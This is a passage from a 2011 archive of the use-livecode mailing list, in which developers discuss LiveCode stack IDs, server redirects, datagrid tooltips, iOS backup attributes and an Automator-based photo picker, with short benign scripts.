coming Message-ID: latest Touchpad rumor - Sunday 11 Dec 6PM CST: http://techcrunch.com/2011/12/07/hp-touchpad-ebay/ -- Mark Wieder From bobs at twft.com Thu Dec 8 18:24:28 2011 From: bobs at twft.com (Bob Sneidar) Date: Thu, 8 Dec 2011 15:24:28 -0800 Subject: Creating an Undo palette In-Reply-To: <9CFF72D9-96B0-4A92-8C86-06E681522F6C@sonsothunder.com> References: <4EE12988.50607@fourthworld.com> <9CFF72D9-96B0-4A92-8C86-06E681522F6C@sonsothunder.com> Message-ID: <0080CDCB-64B0-4ABD-AA47-06EF6ECB3695@twft.com> Right. Now imagine all kinds of imported images, and all the buttons or backgrounds that use them in a complex app. Ick! You would have to relink all the objects with their new image ID's. This at least is a great reason to update how Livecode accesses images and icons. A button ought to be able to access an image file right off the disk, and maintain the zoom ratio and cropping to fit the button or graphic object. It is also a lesson for developers of livecode: We probably should get in the habit of keeping a pristine template stack for every project we produce so we can go back and "reset" the ID's of everything. But all this is moot if Runrev would come up with a way to reset the id counter, or else use the lowest unused ID when creating objects instead of a simple increment off the stack ID. Seems like a simple thing to do... Bob On Dec 8, 2011, at 2:46 PM, Ken Ray wrote: > > On Dec 8, 2011, at 4:39 PM, Bob Sneidar wrote: > >> Whoa! There needs to be a way to reset the stack id to start re-using id's that are not in use anymore! > > Not currently - you can "set the id" of a stack to start at a specific ID, but it can't be a number any earlier than the last ID in use that was saved. So for example, if you start with 1002 and create and delete the same object 10 times so you're up to 1012, you can't set the ID of a stack to anything earlier than 1012. Worse yet, if you set the ID of a stack to 10000, you can't reset the ID back before 10000 even if you haven't added any objects. The only thing you can do to "reset" the ids, is to copy all the objects from one stack to a brand new stack (which will give them all brand new IDs). > > > Ken Ray > Sons of Thunder Software, Inc. > Email: kray at sonsothunder.com > Web Site: http://www.sonsothunder.com/ > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From alex at tweedly.net Thu Dec 8 18:31:23 2011 From: alex at tweedly.net (Alex Tweedly) Date: Thu, 08 Dec 2011 23:31:23 +0000 Subject: LiveCodeServer: redirecting with 'put header' In-Reply-To: <132BA497-C14F-4861-A6F1-683F7B0D8826@m-r-d.de> References: <132BA497-C14F-4861-A6F1-683F7B0D8826@m-r-d.de> Message-ID: <4EE148CB.10507@tweedly.net> The clue is in the "Internal Server Error" (presumably error 500). RevServer gives that at various time, including any time a script produces no output. It seems that any headers output by "put header" don't count as being output :-( So if I copy/paste your script *exactly* to my on-rev account, I also get the Internal Server Error; but if I add a line - even a blank line - at the end of the script (which will therefore be a line of 'html' to be output) then it no longer gives the error, and the redirect works as expected. (on-rev + Mac OS + Chrome) -- Alex. On 08/12/2011 00:39, Matthias Rebbe wrote: > Hi, > > i am trying to redirect to another URL > > with > > put "http://www.google.com" into tURL > put header "Status: 301" > put header "Location:"&& tURL > ?> > > I tried it with 'put new header' also. I always get an Internal Server error. > > Does anyone know, how i can redirect with 'put header'? > > Tried it now with LiveCodeSerer 3.5, 4.64 and 5.0. > > Any suggestions? > > Regards, > > Matthias > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From jacque at hyperactivesw.com Thu Dec 8 18:55:20 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Thu, 08 Dec 2011 17:55:20 -0600 Subject: [OT] an Android milestone In-Reply-To: References: Message-ID: <4EE14E68.8090708@hyperactivesw.com> On 12/8/11 3:35 PM, Scott Rossi wrote: > I just started drinking the Android green koolaid via a Galaxy S II and am > really liking it. The UI is not as polished as iOS, but ironically the > freedom and customization options make Android like what iOS could have > been. :-) > > And the 10 cent apps are great :-) I so agree. Maybe it's just because I'm a geek, but I much prefer the control I have with Android. I only use my iPad for testing stuff and for the occasional app that doesn't have an Android version. Ten-cent apps -- I just downloaded ADW Launcher. I've been trying out different launchers and this one is very nice. You can't do that on iOS. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From scott at tactilemedia.com Thu Dec 8 19:01:01 2011 From: scott at tactilemedia.com (Scott Rossi) Date: Thu, 08 Dec 2011 16:01:01 -0800 Subject: [OT] an Android milestone In-Reply-To: <4EE14E68.8090708@hyperactivesw.com> Message-ID: Recently, Jacque Landman Gay wrote: > On 12/8/11 3:35 PM, Scott Rossi wrote: >> I just started drinking the Android green koolaid via a Galaxy S II and am >> really liking it. The UI is not as polished as iOS, but ironically the >> freedom and customization options make Android like what iOS could have >> been. :-) >> >> And the 10 cent apps are great :-) > > I so agree. Maybe it's just because I'm a geek, but I much prefer the > control I have with Android. I only use my iPad for testing stuff and > for the occasional app that doesn't have an Android version. > > Ten-cent apps -- I just downloaded ADW Launcher. I've been trying out > different launchers and this one is very nice. You can't do that on iOS. Fully -- I'm using it too! Regards, Scott Rossi Creative Director Tactile Media, UX Design From mwieder at ahsoftware.net Thu Dec 8 19:24:55 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Fri, 9 Dec 2011 00:24:55 +0000 (UTC) Subject: crossword puzzle in LiveCode References: <61F32B33-3490-4473-A54F-A1AA246CC883@sahores-conseil.com> Message-ID: Pierre Sahores writes: > I had to deal with such a project in the past. The simplest way i found went to handle the gird as a collection of > rectangle buttons driven as an array and all works fine. The button's label is used to display the letter > under the control of the grid builder engine (or typed from the keyboard at game time), etc... Yep - that's the approach I took as well. -- Mark Wieder From mwieder at ahsoftware.net Thu Dec 8 19:44:14 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Fri, 9 Dec 2011 00:44:14 +0000 (UTC) Subject: crossword puzzle in LiveCode References: Message-ID: Pete writes: > > Hmmm, is that really true? Properly formed ones, yes. Check out a syndicated crossword in any major paper. There are "accepted" sizes as well - 15x15 is the most common for daily crosswords. Somewhat larger for Sunday crosswords (and note that it has to be odd numbers for diagonal symmetry). -- Mark Wieder From dev at digifilm.com Thu Dec 8 20:33:01 2011 From: dev at digifilm.com (ddas) Date: Thu, 8 Dec 2011 20:33:01 -0500 Subject: "do not back up" attribute iOS In-Reply-To: References: Message-ID: <0A842E00-5556-4F2A-9CD0-38523B2D40E7@digifilm.com> Hi, Is there a way to set the file attributes of files in iOS to "do not back up". Thanks, Debdoot From mwieder at ahsoftware.net Thu Dec 8 22:37:29 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Thu, 8 Dec 2011 19:37:29 -0800 Subject: Datagrid tooltips In-Reply-To: References: Message-ID: <196430024031.20111208193729@ahsoftware.net> Pete- Thursday, December 8, 2011, 11:43:37 AM, you wrote: > I know the datagrid has a dgTooltip property that displays when the user > hovers over a column header but has anyone come up with a way to have a > tooltip unique to each row? > For example, let's say I have a column that uses the datagrid truncateTail > function so the data in the column is abbreviated with "..." at the end. > I'd like to have a way to show the user the complete data in the > row/column by hovering over it and displaying a tooltip. Here's how I do this in PowerTools: I've got a datagrid that contains thumbnail images, each of which may have a tooltip attached. When I'm setting up the array for the datagrid I do: put the tooltip of control id tWidgetGroup of stack tStackFile into tArray["ToolTip" & tImageNum] then in the behavior script of the datagrid in FillInData: if pDataArray["Tooltip" & tWidgetNum] is not empty then set the tooltip of image tWidgetNum of me to pDataArray["Tooltip" & tWidgetNum] end if so you could do the same with the text field instead of an image. -- -Mark Wieder mwieder at ahsoftware.net From jacque at hyperactivesw.com Thu Dec 8 22:55:46 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Thu, 08 Dec 2011 21:55:46 -0600 Subject: LiveCodeServer: redirecting with 'put header' In-Reply-To: <4EE148CB.10507@tweedly.net> References: <132BA497-C14F-4861-A6F1-683F7B0D8826@m-r-d.de> <4EE148CB.10507@tweedly.net> Message-ID: <4EE186C2.3040200@hyperactivesw.com> On 12/8/11 5:31 PM, Alex Tweedly wrote: > The clue is in the "Internal Server Error" (presumably error 500). > > RevServer gives that at various time, including any time a script > produces no output. So *that's* it. It isn't just Rev server. I found out the hard way that if an old-style CGI exits to top, you get a 500 error. It took me forever to figure out what was causing it. I lost hair and said bad words. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From rene.micout at numericable.com Fri Dec 9 04:01:10 2011 From: rene.micout at numericable.com (=?iso-8859-1?Q?Ren=E9_Micout?=) Date: Fri, 9 Dec 2011 10:01:10 +0100 Subject: RevOnline In-Reply-To: References: <3A8C8FE9-AA00-4FAE-A6AF-EF66B97DDFA9@numericable.com> Message-ID: <124230E8-149E-4E06-8EAC-9D7A7E137BE3@numericable.com> I am waiting for a reply from support at runrev.com about my question: " I have some difficulties to upload a stack on RevOnline... Can you look if there is some problem with it ? " Le 8 d?c. 2011 ? 20:16, Pete a ?crit : > Yes, that too! > > On Thu, Dec 8, 2011 at 10:56 AM, stephen barncard < > stephenREVOLUTION2 at barncard.com> wrote: > >> Not to mention that finding stuff there is problematic. >> >> On 8 December 2011 10:52, Pete wrote: >> >>> Yes, been trying for weeks to upload a stack with no success. >>> >>> On Thu, Dec 8, 2011 at 9:44 AM, Ren? Micout >>> wrote: >>> >>>> Good evening everybody, >>>> I have some difficulties to upload a stack on RevOnline... >>>> Have you the same experience ? >>>> >>>> _______________________________________________ >>>> use-livecode mailing list >>>> use-livecode at lists.runrev.com >>>> Please visit this url to subscribe, unsubscribe and manage your >>>> subscription preferences: >>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>>> >>>> >>> >>> >>> -- >>> Pete >>> Molly's Revenge >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your >>> subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >>> >> >> >> >> -- >> >> >> >> Stephen Barncard >> San Francisco Ca. USA >> >> more about sqb >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > -- > Pete > Molly's Revenge > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From alex at tweedly.net Fri Dec 9 06:00:41 2011 From: alex at tweedly.net (Alex Tweedly) Date: Fri, 09 Dec 2011 11:00:41 +0000 Subject: crossword puzzle in LiveCode In-Reply-To: References: Message-ID: <4EE1EA59.5090501@tweedly.net> On 09/12/2011 00:44, Mark Wieder wrote: > Pete writes: > >> Hmmm, is that really true? > Properly formed ones, yes. Check out a syndicated crossword in any major paper. > There are "accepted" sizes as well - 15x15 is the most common for daily > crosswords. Somewhat larger for Sunday crosswords (and note that it has to be > odd numbers for diagonal symmetry). > Sorry Mark - your origins are showing :-) It is really true - in the USA. Often but *not* always true in the UK (where variant forms are more common, including 'skeleton' or 'barred', or where which are symmetric both ways but have the answer numbers missing, etc.) I've been told (but can't guarantee) not true in France, don't know about the rest of the world. -- Alex. From mike at doub.com Fri Dec 9 06:00:44 2011 From: mike at doub.com (Michael Doub) Date: Fri, 9 Dec 2011 06:00:44 -0500 Subject: "do not back up" attribute iOS In-Reply-To: <0A842E00-5556-4F2A-9CD0-38523B2D40E7@digifilm.com> References: <0A842E00-5556-4F2A-9CD0-38523B2D40E7@digifilm.com> Message-ID: <2D54E970-8201-42EC-9BA9-52BEA7E78169@doub.com> Take a look at the specialFolderPath documentation. Location of file, controls backup. home - The (unique) folder containing the application bundle and its associated data and folders. documents - The folder in which the application should store any document data (this folder is backed up by iTunes on sync). cache - The folder in which the application should store any transient data that needs to be preserved between launches (this folder is not backed up by iTunes on sync). library - The folder in which the application can store data of various types. In particular, data private to the application should be stored in a folder named with the app's bundle identifier inside library (this folder is backed up by iTunes on sync). temporary - The folder in which the application should store any temporary data that is not needed between launches (this folder is not backed up by iTunes on sync). engine - The folder containing the built standalone engine (i.e. the bundle). This is useful for constructing paths to resources that have been copied into the bundle at build time. On 2011-12-08, at 8:33 PM, ddas wrote: > Hi, > > Is there a way to set the file attributes of files in iOS to "do not back up". > > Thanks, > Debdoot > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From livfoss at mac.com Fri Dec 9 06:39:59 2011 From: livfoss at mac.com (Graham Samuel) Date: Fri, 09 Dec 2011 12:39:59 +0100 Subject: Apple Photo (media) Picker In-Reply-To: References: Message-ID: Hi Mark I am sure that would be a very fine way of doing it, but I have to ask myself whether it would be quicker for me to implement a picker in LiveCode (where I feel comfortable, and where at least some of the logic would be useful on other platforms) or learn AppleScript and Automator and then attach the result to a LiveCode program (way out of my comfort zone, but of course much more educational for me). I don't normally use AppleScript, and the last time I tried, I found it looked a lot like LiveCode but actually so different in detail that the whole experience was very frustrating? anyway thanks for the suggestion and I'll see if I've got the moral energy to proceed. Graham On Thu, 8 Dec 2011 19:26:23 +0100, Mark Schonewille wrote: > > Hi Graham, > > Why emulate it? Use AppleScript/Automator to use the real one. > > -- > Best regards, > > Mark Schonewille > > Economy-x-Talk Consulting and Software Engineering > Homepage: http://economy-x-talk.com > Twitter: http://twitter.com/xtalkprogrammer > KvK: 50277553 > > Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! > > On 8 dec 2011, at 19:19, Graham Samuel wrote: > >> I wonder has anyone used LiveCode to emulate a media picker for the Mac platform such as Apple uses for Pages etc.? In its simplest form it is a browser for the iPhoto library, showing indexing and thumbnails for the pictures - OK, it does audio and movies too, but I'm most interested in the picture library. My idea is to use it as a tool in some kinds of LC development work, rather than exporting particular pictures from iPhoto before using / placing them. Shouldn't be impossible, but I don't want to reinvent it if it's been done. >> >> Graham From Mike at Doub.com Fri Dec 9 08:32:48 2011 From: Mike at Doub.com (Michael Doub) Date: Fri, 9 Dec 2011 08:32:48 -0500 Subject: Message Path Question Message-ID: Where are externals located in the message path? Stack MainStack Library Stacks BackScripts Engine Are they part of the Engine? From dev at digifilm.com Fri Dec 9 09:22:51 2011 From: dev at digifilm.com (ddas) Date: Fri, 9 Dec 2011 09:22:51 -0500 Subject: "do not back up" attribute iOS In-Reply-To: <2D54E970-8201-42EC-9BA9-52BEA7E78169@doub.com> References: <0A842E00-5556-4F2A-9CD0-38523B2D40E7@digifilm.com> <2D54E970-8201-42EC-9BA9-52BEA7E78169@doub.com> Message-ID: <562B1BC9-A3A1-42D0-B52F-65F8AC35B395@digifilm.com> That is all history as far as Apple is concerned. Apple has started enforcing the 5.01 guidelines and is rejecting apps en masse. Any app that downloads data and wants it to persist is in for a nasty shock. Revolution as it stands now is a crippled tool for iOS. This is a critical fix. I am amazed that Revolution is not hip to this. http://developmentseed.org/blog/2011/11/11/apple-resolves-issues-offline-caches-ios/ Regards, Debdoot http://developer.apple.com/library/ios/#qa/qa1719/_index.html On Dec 9, 2011, at 6:00 AM, Michael Doub wrote: > Take a look at the specialFolderPath documentation. Location of file, controls backup. > > home - The (unique) folder containing the application bundle and its associated data and folders. > documents - The folder in which the application should store any document data (this folder is backed up by iTunes on sync). > cache - The folder in which the application should store any transient data that needs to be preserved between launches (this folder is not backed up by iTunes on sync). > library - The folder in which the application can store data of various types. In particular, data private to the application should be stored in a folder named with the app's bundle identifier inside library (this folder is backed up by iTunes on sync). > temporary - The folder in which the application should store any temporary data that is not needed between launches (this folder is not backed up by iTunes on sync). > engine - The folder containing the built standalone engine (i.e. the bundle). This is useful for constructing paths to resources that have been copied into the bundle at build time. > > On 2011-12-08, at 8:33 PM, ddas wrote: > >> Hi, >> >> Is there a way to set the file attributes of files in iOS to "do not back up". >> >> Thanks, >> Debdoot >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From m.schonewille at economy-x-talk.com Fri Dec 9 09:38:30 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Fri, 9 Dec 2011 15:38:30 +0100 Subject: Message Path Question In-Reply-To: References: Message-ID: Hi, I'd say either next to or right before the engine. You could consider them part of the engine. Probably, it is a bad idea to try replacing engine commands with external commands. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! On 9 dec 2011, at 14:32, Michael Doub wrote: > Where are externals located in the message path? > > Stack > MainStack > Library Stacks > BackScripts > Engine > > Are they part of the Engine? From m.schonewille at economy-x-talk.com Fri Dec 9 09:43:30 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Fri, 9 Dec 2011 15:43:30 +0100 Subject: ANN: Color Converter 4.1 Message-ID: <68CCF910-2436-446A-8F58-DA2058815665@economy-x-talk.com> Hi, I did a little more work on Color Converter. Color Converter is one of Economy-x-Talk's most popular products and you might be interested because it is made with LiveCode, but also as a programmer you might consider this interesting. CC 1.4 contains RGB colour separation and conversion to gray scale, a new HSL colour space conversion option and an all-new magnifying glass. You can download Color Converter at http://www.color-converter.com and http://qery.us/1e8 contains the entire user manual on one website. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! From mike at doub.com Fri Dec 9 10:07:56 2011 From: mike at doub.com (mike at doub.com) Date: Fri, 9 Dec 2011 15:07:56 +0000 Subject: Message Path Question In-Reply-To: References: Message-ID: <927036690-1323443278-cardhu_decombobulator_blackberry.rim.net-749761306-@b27.c31.bise6.blackberry> I have an external for some IOS functionality that I was thinking of simulating when on the PC. So I should be able to insert a backscript when not in the mobile environment Sent from my BlackBerry device on the Rogers Wireless Network -----Original Message----- From: Mark Schonewille Sender: use-livecode-bounces at lists.runrev.com Date: Fri, 9 Dec 2011 15:38:30 To: How to use LiveCode Reply-To: How to use LiveCode Subject: Re: Message Path Question Hi, I'd say either next to or right before the engine. You could consider them part of the engine. Probably, it is a bad idea to try replacing engine commands with external commands. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! On 9 dec 2011, at 14:32, Michael Doub wrote: > Where are externals located in the message path? > > Stack > MainStack > Library Stacks > BackScripts > Engine > > Are they part of the Engine? _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From lfredricks at proactive-intl.com Fri Dec 9 10:57:33 2011 From: lfredricks at proactive-intl.com (Lynn Fredricks) Date: Fri, 9 Dec 2011 07:57:33 -0800 Subject: Building and Exporting 3D Models for Game Environments Free Seminar Begins in 5 Minutes Message-ID: <8DBDCE4C36794FBBBB9873A5377A7132@GATEWAY> For those of you interested... This covers building models and then exporting them in FBX format for use in game development. Its free and starts in about five minutes. http://www.facebook.com/shade3d - RSVP here: http://www.facebook.com/events/233361850064895/ At the end there will be a drawing of those present to win a free copy of Shade Pro - normally runs $749. Come and enjoy. RSVP, then go to the page above. Open up the group chat, then click on 'Ustream'. Best regards, Lynn Fredricks President Paradigma Software http://www.paradigmasoft.com Valentina SQL Server: The Ultra-fast, Royalty Free Database Server From matthias_livecode_150811 at m-r-d.de Fri Dec 9 11:10:43 2011 From: matthias_livecode_150811 at m-r-d.de (Matthias Rebbe) Date: Fri, 9 Dec 2011 17:10:43 +0100 Subject: Building and Exporting 3D Models for Game Environments Free Seminar Begins in 5 Minutes In-Reply-To: <8DBDCE4C36794FBBBB9873A5377A7132@GATEWAY> References: <8DBDCE4C36794FBBBB9873A5377A7132@GATEWAY> Message-ID: <379B7A68-DFAD-4261-889B-CC36B87688DD@m-r-d.de> Hi, thanks for the offer. Would love to take part, but do not have a Facebook account anymore. No other way to enjoy that presentation? Regards, Matthias Am 09.12.2011 um 16:57 schrieb Lynn Fredricks: > For those of you interested... > > This covers building models and then exporting them in FBX format for use in > game development. > > Its free and starts in about five minutes. > > http://www.facebook.com/shade3d - RSVP here: > http://www.facebook.com/events/233361850064895/ > > At the end there will be a drawing of those present to win a free copy of > Shade Pro - normally runs $749. > > Come and enjoy. RSVP, then go to the page above. Open up the group chat, > then click on 'Ustream'. > > Best regards, > > Lynn Fredricks > President > Paradigma Software > http://www.paradigmasoft.com > > Valentina SQL Server: The Ultra-fast, Royalty Free Database Server > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From lfredricks at proactive-intl.com Fri Dec 9 11:20:06 2011 From: lfredricks at proactive-intl.com (Lynn Fredricks) Date: Fri, 9 Dec 2011 08:20:06 -0800 Subject: Building and Exporting 3D Models for Game Environments FreeSeminar Begins in 5 Minutes In-Reply-To: <379B7A68-DFAD-4261-889B-CC36B87688DD@m-r-d.de> References: <8DBDCE4C36794FBBBB9873A5377A7132@GATEWAY> <379B7A68-DFAD-4261-889B-CC36B87688DD@m-r-d.de> Message-ID: <797C93D6ACA044F7AB84880B962BBEA6@GATEWAY> > thanks for the offer. Would love to take part, but do not > have a Facebook account anymore. > > No other way to enjoy that presentation? You should be able to watch it via the Ustream site, using the E Frontier page there. The text chat part though uses the native Facebook text chat. Taiyo-san, the presenter will be speaking / videoing live though. Best, Lynn From kray at sonsothunder.com Fri Dec 9 11:25:28 2011 From: kray at sonsothunder.com (Ken Ray) Date: Fri, 9 Dec 2011 10:25:28 -0600 Subject: Apple Photo (media) Picker In-Reply-To: References: Message-ID: On Dec 9, 2011, at 5:39 AM, Graham Samuel wrote: > Hi Mark > > I am sure that would be a very fine way of doing it, but I have to ask myself whether it would be quicker for me to implement a picker in LiveCode (where I feel comfortable, and where at least some of the logic would be useful on other platforms) or learn AppleScript and Automator and then attach the result to a LiveCode program (way out of my comfort zone, but of course much more educational for me). I don't normally use AppleScript, and the last time I tried, I found it looked a lot like LiveCode but actually so different in detail that the whole experience was very frustrating? anyway thanks for the suggestion and I'll see if I've got the moral energy to proceed. Here's what you do (I tested this): In Automator: 1) Start a new workflow and add two actions: "Ask for Photos" (this is in the 'Photos' category under 'Library' in the left column) and "New Text File" (this is in the 'Text' category). 2) For "Ask for Photos", you can either leave it alone or uncheck "Allow multiple selection" (if you don't want the user to do that). 3) For "New Text File", set these settings (the rest you can just leave as defaults): Save as: picturepath.txt Where: Documents [x] Replacing existing files 4) Save the workflow as an application (you can pick from the 'FIle Format' popup menu at the bottom of the 'save as' dialog) named "Choose Picture". NOTE: Save it to your desktop for now so the following LC script will work without modification. In LiveCode, create a button and put this script in it: on mouseUp ChoosePicture put the result end mouseUp on ChoosePicture put 30000 into tTimeout put specialFolderPath("documents") & "/picturepath.txt" into tPicPathFile put specialFolderPath("desktop") & "/Choose Picture.app" into tChoosePicApp if there is a file tPicPathFile then delete file tPicPathFile launch tChoosePicApp put the milliseconds into tMS put true into tTimedout repeat until ((the milliseconds - tMS) >= tTimeout) wait 100 milliseconds with messages if there is a file tPicPathFile then put url ("file:" & tPicPathFile) into tPicPath delete file tPicPathFile put false into tTimedOut exit repeat end if end repeat if not(tTimedOut) then if tPicPath = "" then return "Cancel" return tPicPath else return "timeout" end if end ChoosePicture Now click the button and test it out? you should get back in "the result" either the path to the selected picture, the word "Cancel" (if they chose to click the Cancel button), or the word "timeout" if for some reason it couldn't get the file that is supposed to be created by the Choose Picture app. A couple of caveats/notes: 1) AFAIK there's no way to call the "Ask for Photos" palette from AppleScript directly, so that's the reason for the Automator solution. 2) When the "Ask for Photos" palette is open, the Automator "gear" icon is shown in the Mac menu bar (although there's nothing the user can do with it). 3) Feel free to change the paths to where you want to write the file, how it's named, etc? you get the idea on how this works? Ken Ray Sons of Thunder Software, Inc. Email: kray at sonsothunder.com Web Site: http://www.sonsothunder.com/ From matthias_livecode_150811 at m-r-d.de Fri Dec 9 11:34:42 2011 From: matthias_livecode_150811 at m-r-d.de (Matthias Rebbe) Date: Fri, 9 Dec 2011 17:34:42 +0100 Subject: Building and Exporting 3D Models for Game Environments FreeSeminar Begins in 5 Minutes In-Reply-To: <797C93D6ACA044F7AB84880B962BBEA6@GATEWAY> References: <8DBDCE4C36794FBBBB9873A5377A7132@GATEWAY> <379B7A68-DFAD-4261-889B-CC36B87688DD@m-r-d.de> <797C93D6ACA044F7AB84880B962BBEA6@GATEWAY> Message-ID: Ah, thanks. Regards, Matthias Am 09.12.2011 um 17:20 schrieb Lynn Fredricks: >> thanks for the offer. Would love to take part, but do not >> have a Facebook account anymore. >> >> No other way to enjoy that presentation? > > You should be able to watch it via the Ustream site, using the E Frontier > page there. The text chat part though uses the native Facebook text chat. > Taiyo-san, the presenter will be speaking / videoing live though. > > Best, > > Lynn > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bobs at twft.com Fri Dec 9 11:34:55 2011 From: bobs at twft.com (Bob Sneidar) Date: Fri, 9 Dec 2011 08:34:55 -0800 Subject: Datagrid tooltips In-Reply-To: <196430024031.20111208193729@ahsoftware.net> References: <196430024031.20111208193729@ahsoftware.net> Message-ID: <59ECF82C-5C35-4345-867C-AB7153BE2533@twft.com> Oooh... I am getting ready to put check boxes into a table type datagrid, but only conditionally. That may help. Bob On Dec 8, 2011, at 7:37 PM, Mark Wieder wrote: > Pete- > > Thursday, December 8, 2011, 11:43:37 AM, you wrote: > >> I know the datagrid has a dgTooltip property that displays when the user >> hovers over a column header but has anyone come up with a way to have a >> tooltip unique to each row? > >> For example, let's say I have a column that uses the datagrid truncateTail >> function so the data in the column is abbreviated with "..." at the end. >> I'd like to have a way to show the user the complete data in the >> row/column by hovering over it and displaying a tooltip. > > Here's how I do this in PowerTools: I've got a datagrid that contains > thumbnail images, each of which may have a tooltip attached. When I'm > setting up the array for the datagrid I do: > > put the tooltip of control id tWidgetGroup of stack tStackFile into tArray["ToolTip" & tImageNum] > > then in the behavior script of the datagrid in FillInData: > > if pDataArray["Tooltip" & tWidgetNum] is not empty then > set the tooltip of image tWidgetNum of me to pDataArray["Tooltip" & tWidgetNum] > end if > > so you could do the same with the text field instead of an image. > > -- > -Mark Wieder > mwieder at ahsoftware.net > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bobs at twft.com Fri Dec 9 11:49:26 2011 From: bobs at twft.com (Bob Sneidar) Date: Fri, 9 Dec 2011 08:49:26 -0800 Subject: Applescript for getting data from a spreadsheet Message-ID: <9E8E9007-F72A-471F-93EC-4F86BA921557@twft.com> This may be a little off topic, but the goal is to create an app that looks up mac addresses from a telnet session into a series of procurve switches, and then compare that with a known list of mac addresses in an excel spreadsheet, and trace them through a network to find where the device is at. I do this regularly by hand, but I want to make a stack that can do it. I read through the dictionary of Microsoft Excel to try to find a way to get the data from a range of cells, but as usual, nothing works in Applescript like you would expect, and of course the dictionary provides no examples of how the command should be written. All the help forums are useless because the advice people give there is usually either outdated, or simply wrong on it's face. So does anyone have any experience using Applescript to select a range of cells in a certain sheet of a certain workbook? If I could get that far, I think I could just copy/paste the data into a datagrid and go from there. BTW I am using Office 2008 (for Mac of course). This is important because apparently they rewrote the dictionary between 2004 and 2008 and a lot of things that used to work in 2004 do not anymore. Bob From todd at geistinteractive.com Fri Dec 9 11:58:12 2011 From: todd at geistinteractive.com (Todd Geist) Date: Fri, 9 Dec 2011 08:58:12 -0800 Subject: Apple Photo (media) Picker In-Reply-To: References: Message-ID: Hello, This way works too. First create the automate as Ken described and save it somewhere. In this case I saved it on y desktop. then in LC do the following get shell ("automator '/Users/todd/Desktop/test.workflow'") put value(line 2 of it) That should do it. Todd On Fri, Dec 9, 2011 at 8:25 AM, Ken Ray wrote: > > > > Here's what you do (I tested this): > > In Automator: > > 1) Start a new workflow and add two actions: "Ask for Photos" (this is in > the 'Photos' category under 'Library' in the left column) and "New Text > File" (this is in the 'Text' category). > 2) For "Ask for Photos", you can either leave it alone or uncheck "Allow > multiple selection" (if you don't want the user to do that). > 3) For "New Text File", set these settings (the rest you can just leave as > defaults): > Save as: picturepath.txt > Where: Documents [x] Replacing existing files > 4) Save the workflow as an application (you can pick from the 'FIle > Format' popup menu at the bottom of the 'save as' dialog) named "Choose > Picture". > NOTE: Save it to your desktop for now so the following LC script will work > without modification. > > In LiveCode, create a button and put this script in it: > > on mouseUp > ChoosePicture > put the result > end mouseUp > > on ChoosePicture > put 30000 into tTimeout > put specialFolderPath("documents") & "/picturepath.txt" into tPicPathFile > put specialFolderPath("desktop") & "/Choose Picture.app" into > tChoosePicApp > if there is a file tPicPathFile then delete file tPicPathFile > launch tChoosePicApp > put the milliseconds into tMS > put true into tTimedout > repeat until ((the milliseconds - tMS) >= tTimeout) > wait 100 milliseconds with messages > if there is a file tPicPathFile then > put url ("file:" & tPicPathFile) into tPicPath > delete file tPicPathFile > put false into tTimedOut > exit repeat > end if > end repeat > if not(tTimedOut) then > if tPicPath = "" then return "Cancel" > return 